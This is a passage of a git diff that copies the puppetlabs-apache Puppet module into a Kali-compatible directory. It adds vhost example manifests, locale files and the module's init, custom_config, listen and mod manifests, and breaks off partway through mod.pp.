b/modules/services/unix/http/apache_kali_compatible/apache/examples/mods.pp similarity index 100% rename from modules/services/unix/http/apache/examples/mods.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/mods.pp diff --git a/modules/services/unix/http/apache/examples/mods_custom.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/mods_custom.pp similarity index 100% rename from modules/services/unix/http/apache/examples/mods_custom.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/mods_custom.pp diff --git a/modules/services/unix/http/apache/examples/php.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/php.pp similarity index 100% rename from modules/services/unix/http/apache/examples/php.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/php.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost.pp new file mode 100644 index 000000000..440a56d4b --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost.pp @@ -0,0 +1,261 @@ +## Default vhosts, and custom vhosts +# NB: Please see the other vhost_*.pp example files for further +# examples. + +# Base class. Declares default vhost on port 80 and default ssl +# vhost on port 443 listening on all interfaces and serving +# $apache::docroot +class { '::apache': } + +# Most basic vhost +apache::vhost { 'first.example.com': + port => '80', + docroot => '/var/www/first', +} + +# Vhost with different docroot owner/group/mode +apache::vhost { 'second.example.com': + port => '80', + docroot => '/var/www/second', + docroot_owner => 'third', + docroot_group => 'third', + docroot_mode => '0770', +} + +# Vhost with serveradmin +apache::vhost { 'third.example.com': + port => '80', + docroot => '/var/www/third', + serveradmin => 'admin@example.com', +} + +# Vhost with ssl (uses default ssl certs) +apache::vhost { 'ssl.example.com': + port => '443', + docroot => '/var/www/ssl', + ssl => true, +} + +# Vhost with ssl and specific ssl certs +apache::vhost { 'fourth.example.com': + port => '443', + docroot => '/var/www/fourth', + ssl => true, + ssl_cert => '/etc/ssl/fourth.example.com.cert', + ssl_key => '/etc/ssl/fourth.example.com.key', +} + +# Vhost with english title and servername parameter +apache::vhost { 'The fifth vhost': + servername => 'fifth.example.com', + port => '80', + docroot => '/var/www/fifth', +} + +# Vhost with server aliases +apache::vhost { 'sixth.example.com': + serveraliases => [ + 'sixth.example.org', + 'sixth.example.net', + ], + port => '80', + docroot => '/var/www/fifth', +} + +# Vhost with alternate options +apache::vhost { 'seventh.example.com': + port => '80', + docroot => '/var/www/seventh', + options => [ + 'Indexes', + 'MultiViews', + ], +} + +# Vhost with AllowOverride for .htaccess +apache::vhost { 'eighth.example.com': + port => '80', + docroot => '/var/www/eighth', + override => 'All', +} + +# Vhost with access and error logs disabled +apache::vhost { 'ninth.example.com': + port => '80', + docroot => '/var/www/ninth', + access_log => false, + error_log => false, +} + +# Vhost with custom access and error logs and logroot +apache::vhost { 'tenth.example.com': + port => '80', + docroot => '/var/www/tenth', + access_log_file => 'tenth_vhost.log', + error_log_file => 'tenth_vhost_error.log', + logroot => '/var/log', +} + +# Vhost with a cgi-bin +apache::vhost { 'eleventh.example.com': + port => '80', + docroot => '/var/www/eleventh', + scriptalias => '/usr/lib/cgi-bin', +} + +# Vhost with a proxypass configuration +apache::vhost { 'twelfth.example.com': + port => '80', + docroot => '/var/www/twelfth', + proxy_dest => 'http://internal.example.com:8080/twelfth', + no_proxy_uris => ['/login','/logout'], +} + +# Vhost to redirect /login and /logout +apache::vhost { 'thirteenth.example.com': + port => '80', + docroot => '/var/www/thirteenth', + redirect_source => [ + '/login', + '/logout', + ], + redirect_dest => [ + 'http://10.0.0.10/login', + 'http://10.0.0.10/logout', + ], +} + +# Vhost to permamently redirect +apache::vhost { 'fourteenth.example.com': + port => '80', + docroot => '/var/www/fourteenth', + redirect_source => '/blog', + redirect_dest => 'http://blog.example.com', + redirect_status => 'permanent', +} + +# Vhost with a rack configuration +apache::vhost { 'fifteenth.example.com': + port => '80', + docroot => '/var/www/fifteenth', + rack_base_uris => ['/rackapp1', '/rackapp2'], +} + + +# Vhost to redirect non-ssl to ssl +apache::vhost { 'sixteenth.example.com non-ssl': + servername => 'sixteenth.example.com', + port => '80', + docroot => '/var/www/sixteenth', + rewrites => [ + { + comment => 'redirect non-SSL traffic to SSL site', + rewrite_cond => ['%{HTTPS} off'], + rewrite_rule => ['(.*) https://%{HTTP_HOST}%{REQUEST_URI}'], + } + ], +} + +# Rewrite a URL to lower case +apache::vhost { 'sixteenth.example.com non-ssl': + servername => 'sixteenth.example.com', + port => '80', + docroot => '/var/www/sixteenth', + rewrites => [ + { comment => 'Rewrite to lower case', + rewrite_cond => ['%{REQUEST_URI} [A-Z]'], + rewrite_map => ['lc int:tolower'], + rewrite_rule => ["(.*) \${lc:\$1} [R=301,L]"], + } + ], +} + +apache::vhost { 'sixteenth.example.com ssl': + servername => 'sixteenth.example.com', + port => '443', + docroot => '/var/www/sixteenth', + ssl => true, +} + +# Vhost to redirect non-ssl to ssl using old rewrite method +apache::vhost { 'sixteenth.example.com non-ssl old rewrite': + servername => 'sixteenth.example.com', + port => '80', + docroot => '/var/www/sixteenth', + rewrite_cond => '%{HTTPS} off', + rewrite_rule => '(.*) https://%{HTTP_HOST}%{REQUEST_URI}', +} +apache::vhost { 'sixteenth.example.com ssl old rewrite': + servername => 'sixteenth.example.com', + port => '443', + docroot => '/var/www/sixteenth', + ssl => true, +} + +# Vhost to block repository files +apache::vhost { 'seventeenth.example.com': + port => '80', + docroot => '/var/www/seventeenth', + block => 'scm', +} + +# Vhost with special environment variables +apache::vhost { 'eighteenth.example.com': + port => '80', + docroot => '/var/www/eighteenth', + setenv => ['SPECIAL_PATH /foo/bin','KILROY was_here'], +} + +apache::vhost { 'nineteenth.example.com': + port => '80', + docroot => '/var/www/nineteenth', + setenvif => 'Host "^([^\.]*)\.website\.com$" CLIENT_NAME=$1', +} + +# Vhost with additional include files +apache::vhost { 'twentyieth.example.com': + port => '80', + docroot => '/var/www/twelfth', + additional_includes => ['/tmp/proxy_group_a','/tmp/proxy_group_b'], +} + +# Vhost with alias for subdomain mapped to same named directory +# http://example.com.loc => /var/www/example.com +apache::vhost { 'subdomain.loc': + vhost_name => '*', + port => '80', + virtual_docroot => '/var/www/%-2+', + docroot => '/var/www', + serveraliases => ['*.loc',], +} + +# Vhost with SSLProtocol,SSLCipherSuite, SSLHonorCipherOrder +apache::vhost { 'securedomain.com': + priority => '10', + vhost_name => 'www.securedomain.com', + port => '443', + docroot => '/var/www/secure', + ssl => true, + ssl_cert => '/etc/ssl/securedomain.cert', + ssl_key => '/etc/ssl/securedomain.key', + ssl_chain => '/etc/ssl/securedomain.crt', + ssl_protocol => '-ALL +TLSv1', + ssl_cipher => 'ALL:!aNULL:!ADH:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM', + ssl_honorcipherorder => 'On', + add_listen => false, +} + +# Vhost with access log environment variables writing control +apache::vhost { 'twentyfirst.example.com': + port => '80', + docroot => '/var/www/twentyfirst', + access_log_env_var => 'admin', +} + +# Vhost with a passenger_base configuration +apache::vhost { 'twentysecond.example.com': + port => '80', + docroot => '/var/www/twentysecond', + rack_base_uris => ['/passengerapp1', '/passengerapp2'], +} + diff --git a/modules/services/unix/http/apache/examples/vhost_directories.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_directories.pp similarity index 100% rename from modules/services/unix/http/apache/examples/vhost_directories.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_directories.pp diff --git a/modules/services/unix/http/apache/examples/vhost_filter.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_filter.pp similarity index 100% rename from modules/services/unix/http/apache/examples/vhost_filter.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_filter.pp diff --git a/modules/services/unix/http/apache/examples/vhost_ip_based.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_ip_based.pp similarity index 100% rename from modules/services/unix/http/apache/examples/vhost_ip_based.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_ip_based.pp diff --git a/modules/services/unix/http/apache/examples/vhost_proxypass.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_proxypass.pp similarity index 100% rename from modules/services/unix/http/apache/examples/vhost_proxypass.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_proxypass.pp diff --git a/modules/services/unix/http/apache/examples/vhost_ssl.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_ssl.pp similarity index 100% rename from modules/services/unix/http/apache/examples/vhost_ssl.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/vhost_ssl.pp diff --git a/modules/services/unix/http/apache/examples/vhosts_without_listen.pp b/modules/services/unix/http/apache_kali_compatible/apache/examples/vhosts_without_listen.pp similarity index 100% rename from modules/services/unix/http/apache/examples/vhosts_without_listen.pp rename to modules/services/unix/http/apache_kali_compatible/apache/examples/vhosts_without_listen.pp diff --git a/modules/services/unix/http/apache/files/httpd b/modules/services/unix/http/apache_kali_compatible/apache/files/httpd similarity index 100% rename from modules/services/unix/http/apache/files/httpd rename to modules/services/unix/http/apache_kali_compatible/apache/files/httpd diff --git a/modules/services/unix/http/apache/lib/facter/apache_version.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/facter/apache_version.rb similarity index 100% rename from modules/services/unix/http/apache/lib/facter/apache_version.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/facter/apache_version.rb diff --git a/modules/services/unix/http/apache/lib/puppet/parser/functions/bool2httpd.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/parser/functions/bool2httpd.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/parser/functions/bool2httpd.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/parser/functions/bool2httpd.rb diff --git a/modules/services/unix/http/apache/lib/puppet/parser/functions/validate_apache_log_level.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/parser/functions/validate_apache_log_level.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/parser/functions/validate_apache_log_level.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/parser/functions/validate_apache_log_level.rb diff --git a/modules/services/unix/http/apache/lib/puppet/provider/a2mod.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/provider/a2mod.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod.rb diff --git a/modules/services/unix/http/apache/lib/puppet/provider/a2mod/a2mod.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/a2mod.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/provider/a2mod/a2mod.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/a2mod.rb diff --git a/modules/services/unix/http/apache/lib/puppet/provider/a2mod/gentoo.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/gentoo.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/provider/a2mod/gentoo.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/gentoo.rb diff --git a/modules/services/unix/http/apache/lib/puppet/provider/a2mod/modfix.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/modfix.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/provider/a2mod/modfix.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/modfix.rb diff --git a/modules/services/unix/http/apache/lib/puppet/provider/a2mod/redhat.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/redhat.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/provider/a2mod/redhat.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/provider/a2mod/redhat.rb diff --git a/modules/services/unix/http/apache/lib/puppet/type/a2mod.rb b/modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/type/a2mod.rb similarity index 100% rename from modules/services/unix/http/apache/lib/puppet/type/a2mod.rb rename to modules/services/unix/http/apache_kali_compatible/apache/lib/puppet/type/a2mod.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/locales/config.yaml b/modules/services/unix/http/apache_kali_compatible/apache/locales/config.yaml new file mode 100644 index 000000000..0ec10ba97 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/locales/config.yaml @@ -0,0 +1,25 @@ +--- +# This is the project-specific configuration file for setting up +# fast_gettext for your project. +gettext: + # This is used for the name of the .pot and .po files; they will be + # called .pot? + project_name: puppetlabs-apache + # This is used in comments in the .pot and .po files to indicate what + # project the files belong to and should bea little more desctiptive than + # + package_name: puppetlabs-apache + # The locale that the default messages in the .pot file are in + default_locale: en + # The email used for sending bug reports. + bugs_address: docs@puppet.com + # The holder of the copyright. + copyright_holder: Puppet, Inc. + # This determines which comments in code should be eligible for translation. + # Any comments that start with this string will be externalized. (Leave + # empty to include all.) + comments_tag: TRANSLATOR + # Patterns for +Dir.glob+ used to find all files that might contain + # translatable content, relative to the project root directory + source_files: + diff --git a/modules/services/unix/http/apache_kali_compatible/apache/locales/puppetlabs-apache.pot b/modules/services/unix/http/apache_kali_compatible/apache/locales/puppetlabs-apache.pot new file mode 100644 index 000000000..7602dd885 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/locales/puppetlabs-apache.pot @@ -0,0 +1,25 @@ +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2017-03-21 14:19+0100\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: FULL NAME \n" +"Language-Team: LANGUAGE \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Translate Toolkit 2.0.0\n" + +#. metadata.json +#: .summary +msgid "" +"Installs, configures, and manages Apache virtual hosts, web services, and " +"modules." +msgstr "" + +#. metadata.json +#: .description +msgid "Module for Apache configuration" +msgstr "" diff --git a/modules/services/unix/http/apache/manifests/balancer.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/balancer.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/balancer.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/balancer.pp diff --git a/modules/services/unix/http/apache/manifests/balancermember.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/balancermember.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/balancermember.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/balancermember.pp diff --git a/modules/services/unix/http/apache/manifests/confd/no_accf.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/confd/no_accf.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/confd/no_accf.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/confd/no_accf.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/custom_config.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/custom_config.pp new file mode 100644 index 000000000..6bffa05c7 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/custom_config.pp @@ -0,0 +1,67 @@ +# See README.md for usage information +define apache::custom_config ( + Enum['absent', 'present'] $ensure = 'present', + $confdir = $::apache::confd_dir, + $content = undef, + $priority = '25', + $source = undef, + $verify_command = $::apache::params::verify_command, + Boolean $verify_config = true, + $filename = undef, +) { + + if $content and $source { + fail('Only one of $content and $source can be specified.') + } + + if $ensure == 'present' and ! $content and ! $source { + fail('One of $content and $source must be specified.') + } + + if $filename { + $_filename = $filename + } else { + if $priority { + $priority_prefix = "${priority}-" + } else { + $priority_prefix = '' + } + + ## Apache include does not always work with spaces in the filename + $filename_middle = regsubst($name, ' ', '_', 'G') + $_filename = "${priority_prefix}${filename_middle}.conf" + } + + if ! $verify_config or $ensure == 'absent' { + $notifies = Class['Apache::Service'] + } else { + $notifies = undef + } + + file { "apache_${name}": + ensure => $ensure, + path => "${confdir}/${_filename}", + content => $content, + source => $source, + require => Package['httpd'], + notify => $notifies, + } + + if $ensure == 'present' and $verify_config { + exec { "syntax verification for ${name}": + command => $verify_command, + subscribe => File["apache_${name}"], + refreshonly => true, + notify => Class['Apache::Service'], + before => Exec["remove ${name} if invalid"], + require => Anchor['::apache::modules_set_up'], + } + + exec { "remove ${name} if invalid": + command => "/bin/rm ${confdir}/${_filename}", + unless => $verify_command, + subscribe => File["apache_${name}"], + refreshonly => true, + } + } +} diff --git a/modules/services/unix/http/apache/manifests/default_confd_files.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/default_confd_files.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/default_confd_files.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/default_confd_files.pp diff --git a/modules/services/unix/http/apache/manifests/default_mods.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/default_mods.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/default_mods.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/default_mods.pp diff --git a/modules/services/unix/http/apache/manifests/default_mods/load.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/default_mods/load.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/default_mods/load.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/default_mods/load.pp diff --git a/modules/services/unix/http/apache/manifests/dev.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/dev.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/dev.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/dev.pp diff --git a/modules/services/unix/http/apache/manifests/fastcgi/server.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/fastcgi/server.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/fastcgi/server.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/fastcgi/server.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp new file mode 100755 index 000000000..516c966ad --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/init.pp @@ -0,0 +1,399 @@ +# Class: apache +# +# This class installs Apache +# +# Parameters: +# +# Actions: +# - Install Apache +# - Manage Apache service +# +# Requires: +# +# Sample Usage: +# +class apache ( + $apache_name = $::apache::params::apache_name, + $service_name = $::apache::params::service_name, + $default_mods = true, + Boolean $default_vhost = true, + $default_charset = undef, + Boolean $default_confd_files = true, + Boolean $default_ssl_vhost = false, + $default_ssl_cert = $::apache::params::default_ssl_cert, + $default_ssl_key = $::apache::params::default_ssl_key, + $default_ssl_chain = undef, + $default_ssl_ca = undef, + $default_ssl_crl_path = undef, + $default_ssl_crl = undef, + $default_ssl_crl_check = undef, + $default_type = 'none', + $dev_packages = $::apache::params::dev_packages, + $ip = undef, + Boolean $service_enable = true, + Boolean $service_manage = true, + $service_ensure = 'running', + $service_restart = undef, + $purge_configs = true, + $purge_vhost_dir = undef, + $purge_vdir = false, + $serveradmin = 'root@localhost', + $sendfile = 'On', + $error_documents = false, + $timeout = '120', + $httpd_dir = $::apache::params::httpd_dir, + $server_root = $::apache::params::server_root, + $conf_dir = $::apache::params::conf_dir, + $confd_dir = $::apache::params::confd_dir, + $vhost_dir = $::apache::params::vhost_dir, + $vhost_enable_dir = $::apache::params::vhost_enable_dir, + $mod_packages = $::apache::params::mod_packages, + $vhost_include_pattern = $::apache::params::vhost_include_pattern, + $mod_dir = $::apache::params::mod_dir, + $mod_enable_dir = $::apache::params::mod_enable_dir, + $mpm_module = $::apache::params::mpm_module, + $lib_path = $::apache::params::lib_path, + $conf_template = $::apache::params::conf_template, + $servername = $::apache::params::servername, + $pidfile = $::apache::params::pidfile, + Optional[Stdlib::Absolutepath] $rewrite_lock = undef, + Boolean $manage_user = true, + Boolean $manage_group = true, + $user = $::apache::params::user, + $group = $::apache::params::group, + $http_protocol_options = $::apache::params::http_protocol_options, + $supplementary_groups = [], + $keepalive = $::apache::params::keepalive, + $keepalive_timeout = $::apache::params::keepalive_timeout, + $max_keepalive_requests = $::apache::params::max_keepalive_requests, + $limitreqfieldsize = '8190', + $logroot = $::apache::params::logroot, + $logroot_mode = $::apache::params::logroot_mode, + $log_level = $::apache::params::log_level, + $log_formats = {}, + $ssl_file = undef, + $ports_file = $::apache::params::ports_file, + $docroot = $::apache::params::docroot, + $apache_version = $::apache::version::default, + $server_tokens = 'OS', + $server_signature = 'On', + $trace_enable = 'On', + Optional[Enum['on', 'off', 'nodecode']] $allow_encoded_slashes = undef, + $file_e_tag = undef, + $package_ensure = 'installed', + Boolean $use_optional_includes = $::apache::params::use_optional_includes, + $use_systemd = $::apache::params::use_systemd, + $mime_types_additional = $::apache::params::mime_types_additional, + $file_mode = $::apache::params::file_mode, + $root_directory_options = $::apache::params::root_directory_options, + Boolean $root_directory_secured = false, + $error_log = $::apache::params::error_log, + $scriptalias = $::apache::params::scriptalias, + $access_log_file = $::apache::params::access_log_file, +) inherits ::apache::params { + + $valid_mpms_re = $apache_version ? { + '2.4' => '(event|itk|peruser|prefork|worker)', + default => '(event|itk|prefork|worker)' + } + + if $::osfamily == 'RedHat' and $::apache::version::distrelease == '7' { + # On redhat 7 the ssl.conf lives in /etc/httpd/conf.d (the confd_dir) + # when all other module configs live in /etc/httpd/conf.modules.d (the + # mod_dir). On all other platforms and versions, ssl.conf lives in the + # mod_dir. This should maintain the expected location of ssl.conf + $_ssl_file = $ssl_file ? { + undef => "${apache::confd_dir}/ssl.conf", + default => $ssl_file + } + } else { + $_ssl_file = $ssl_file ? { + undef => "${apache::mod_dir}/ssl.conf", + default => $ssl_file + } + } + + if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans + assert_type(Pattern[$valid_mpms_re], $mpm_module) + } + + # NOTE: on FreeBSD it's mpm module's responsibility to install httpd package. + # NOTE: the same strategy may be introduced for other OSes. For this, you + # should delete the 'if' block below and modify all MPM modules' manifests + # such that they include apache::package class (currently event.pp, itk.pp, + # peruser.pp, prefork.pp, worker.pp). + if $::osfamily != 'FreeBSD' { + package { 'httpd': + ensure => $package_ensure, + name => $apache_name, + notify => Class['Apache::Service'], + } + } + validate_re($sendfile, [ '^[oO]n$' , '^[oO]ff$' ]) + + # declare the web server user and group + # Note: requiring the package means the package ought to create them and not puppet + if $manage_user { + user { $user: + ensure => present, + gid => $group, + groups => $supplementary_groups, + require => Package['httpd'], + } + } + if $manage_group { + group { $group: + ensure => present, + require => Package['httpd'], + } + } + + validate_apache_log_level($log_level) + + class { '::apache::service': + service_name => $service_name, + service_enable => $service_enable, + service_manage => $service_manage, + service_ensure => $service_ensure, + service_restart => $service_restart, + } + + # Deprecated backwards-compatibility + if $purge_vdir { + warning('Class[\'apache\'] parameter purge_vdir is deprecated in favor of purge_configs') + $purge_confd = $purge_vdir + } else { + $purge_confd = $purge_configs + } + + # Set purge vhostd appropriately + if $purge_vhost_dir == undef { + $purge_vhostd = $purge_confd + } else { + $purge_vhostd = $purge_vhost_dir + } + + Exec { + path => '/bin:/sbin:/usr/bin:/usr/sbin', + } + + exec { "mkdir ${confd_dir}": + creates => $confd_dir, + require => Package['httpd'], + } + file { $confd_dir: + ensure => directory, + recurse => true, + purge => $purge_confd, + force => $purge_confd, + notify => Class['Apache::Service'], + require => Package['httpd'], + } + + if ! defined(File[$mod_dir]) { + exec { "mkdir ${mod_dir}": + creates => $mod_dir, + require => Package['httpd'], + } + # Don't purge available modules if an enable dir is used + $purge_mod_dir = $purge_configs and !$mod_enable_dir + file { $mod_dir: + ensure => directory, + recurse => true, + purge => $purge_mod_dir, + notify => Class['Apache::Service'], + require => Package['httpd'], + before => Anchor['::apache::modules_set_up'], + } + } + + if $mod_enable_dir and ! defined(File[$mod_enable_dir]) { + $mod_load_dir = $mod_enable_dir + exec { "mkdir ${mod_enable_dir}": + creates => $mod_enable_dir, + require => Package['httpd'], + } + file { $mod_enable_dir: + ensure => directory, + recurse => true, + purge => $purge_configs, + notify => Class['Apache::Service'], + require => Package['httpd'], + } + } else { + $mod_load_dir = $mod_dir + } + + if ! defined(File[$vhost_dir]) { + exec { "mkdir ${vhost_dir}": + creates => $vhost_dir, + require => Package['httpd'], + } + file { $vhost_dir: + ensure => directory, + recurse => true, + purge => $purge_vhostd, + notify => Class['Apache::Service'], + require => Package['httpd'], + } + } + + if $vhost_enable_dir and ! defined(File[$vhost_enable_dir]) { + $vhost_load_dir = $vhost_enable_dir + exec { "mkdir ${vhost_load_dir}": + creates => $vhost_load_dir, + require => Package['httpd'], + } + file { $vhost_enable_dir: + ensure => directory, + recurse => true, + purge => $purge_vhostd, + notify => Class['Apache::Service'], + require => Package['httpd'], + } + } else { + $vhost_load_dir = $vhost_dir + } + + concat { $ports_file: + ensure => present, + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + notify => Class['Apache::Service'], + require => Package['httpd'], + } + concat::fragment { 'Apache ports header': + target => $ports_file, + content => template('apache/ports_header.erb'), + } + + if $::apache::conf_dir and $::apache::params::conf_file { + if $::osfamily == 'gentoo' { + $error_documents_path = '/usr/share/apache2/error' + if is_array($default_mods) { + if versioncmp($apache_version, '2.4') >= 0 { + if defined('apache::mod::ssl') { + ::portage::makeconf { 'apache2_modules': + content => concat($default_mods, [ 'authz_core', 'socache_shmcb' ]), + } + } else { + ::portage::makeconf { 'apache2_modules': + content => concat($default_mods, 'authz_core'), + } + } + } else { + ::portage::makeconf { 'apache2_modules': + content => $default_mods, + } + } + } + + file { [ + '/etc/apache2/modules.d/.keep_www-servers_apache-2', + '/etc/apache2/vhosts.d/.keep_www-servers_apache-2', + ]: + ensure => absent, + require => Package['httpd'], + } + } + + $apxs_workaround = $::osfamily ? { + 'freebsd' => true, + default => false + } + + # Template uses: + # - $pidfile + # - $user + # - $group + # - $logroot + # - $error_log + # - $sendfile + # - $mod_dir + # - $ports_file + # - $confd_dir + # - $vhost_dir + # - $error_documents + # - $error_documents_path + # - $apxs_workaround + # - $http_protocol_options + # - $keepalive + # - $keepalive_timeout + # - $max_keepalive_requests + # - $server_root + # - $server_tokens + # - $server_signature + # - $trace_enable + # - $rewrite_lock + # - $root_directory_secured + file { "${::apache::conf_dir}/${::apache::params::conf_file}": + ensure => file, + content => template($conf_template), + notify => Class['Apache::Service'], + require => [Package['httpd'], Concat[$ports_file]], + } + + # preserve back-wards compatibility to the times when default_mods was + # only a boolean value. Now it can be an array (too) + if is_array($default_mods) { + class { '::apache::default_mods': + all => false, + mods => $default_mods, + } + } else { + class { '::apache::default_mods': + all => $default_mods, + } + } + class { '::apache::default_confd_files': + all => $default_confd_files, + } + if $mpm_module and $mpm_module != 'false' { # lint:ignore:quoted_booleans + include "::apache::mod::${mpm_module}" + } + + $default_vhost_ensure = $default_vhost ? { + true => 'present', + false => 'absent' + } + $default_ssl_vhost_ensure = $default_ssl_vhost ? { + true => 'present', + false => 'absent' + } + + ::apache::vhost { 'default': + ensure => $default_vhost_ensure, + port => '80', + docroot => $docroot, + scriptalias => $scriptalias, + serveradmin => $serveradmin, + access_log_file => $access_log_file, + priority => '15', + ip => $ip, + logroot_mode => $logroot_mode, + manage_docroot => $default_vhost, + } + $ssl_access_log_file = $::osfamily ? { + 'freebsd' => $access_log_file, + default => "ssl_${access_log_file}", + } + ::apache::vhost { 'default-ssl': + ensure => $default_ssl_vhost_ensure, + port => '443', + ssl => true, + docroot => $docroot, + scriptalias => $scriptalias, + serveradmin => $serveradmin, + access_log_file => $ssl_access_log_file, + priority => '15', + ip => $ip, + logroot_mode => $logroot_mode, + manage_docroot => $default_ssl_vhost, + } + } + + # This anchor can be used as a reference point for things that need to happen *after* + # all modules have been put in place. + anchor { '::apache::modules_set_up': } +} diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/listen.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/listen.pp new file mode 100644 index 000000000..503ee8860 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/listen.pp @@ -0,0 +1,9 @@ +define apache::listen { + $listen_addr_port = $name + + # Template uses: $listen_addr_port + concat::fragment { "Listen ${listen_addr_port}": + target => $::apache::ports_file, + content => template('apache/listen.erb'), + } +} diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod.pp new file mode 100644 index 000000000..ddef130c8 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod.pp @@ -0,0 +1,176 @@ +define apache::mod ( + $package = undef, + $package_ensure = 'present', + $lib = undef, + $lib_path = $::apache::lib_path, + $id = undef, + $path = undef, + $loadfile_name = undef, + $loadfiles = undef, +) { + if ! defined(Class['apache']) { + fail('You must include the apache base class before using any apache defined resources') + } + + $mod = $name + #include apache #This creates duplicate resources in rspec-puppet + $mod_dir = $::apache::mod_dir + + # Determine if we have special lib + $mod_libs = $::apache::params::mod_libs + if $lib { + $_lib = $lib + } elsif has_key($mod_libs, $mod) { # 2.6 compatibility hack + $_lib = $mod_libs[$mod] + } else { + $_lib = "mod_${mod}.so" + } + + # Determine if declaration specified a path to the module + if $path { + $_path = $path + } else { + $_path = "${lib_path}/${_lib}" + } + + if $id { + $_id = $id + } else { + $_id = "${mod}_module" + } + + if $loadfile_name { + $_loadfile_name = $loadfile_name + } else { + $_loadfile_name = "${mod}.load" + } + + # Determine if we have a package + $mod_packages = $::apache::mod_packages + if $package { + $_package = $package + } elsif has_key($mod_packages, $mod) { # 2.6 compatibility hack + if ($::apache::apache_version == '2.4' and 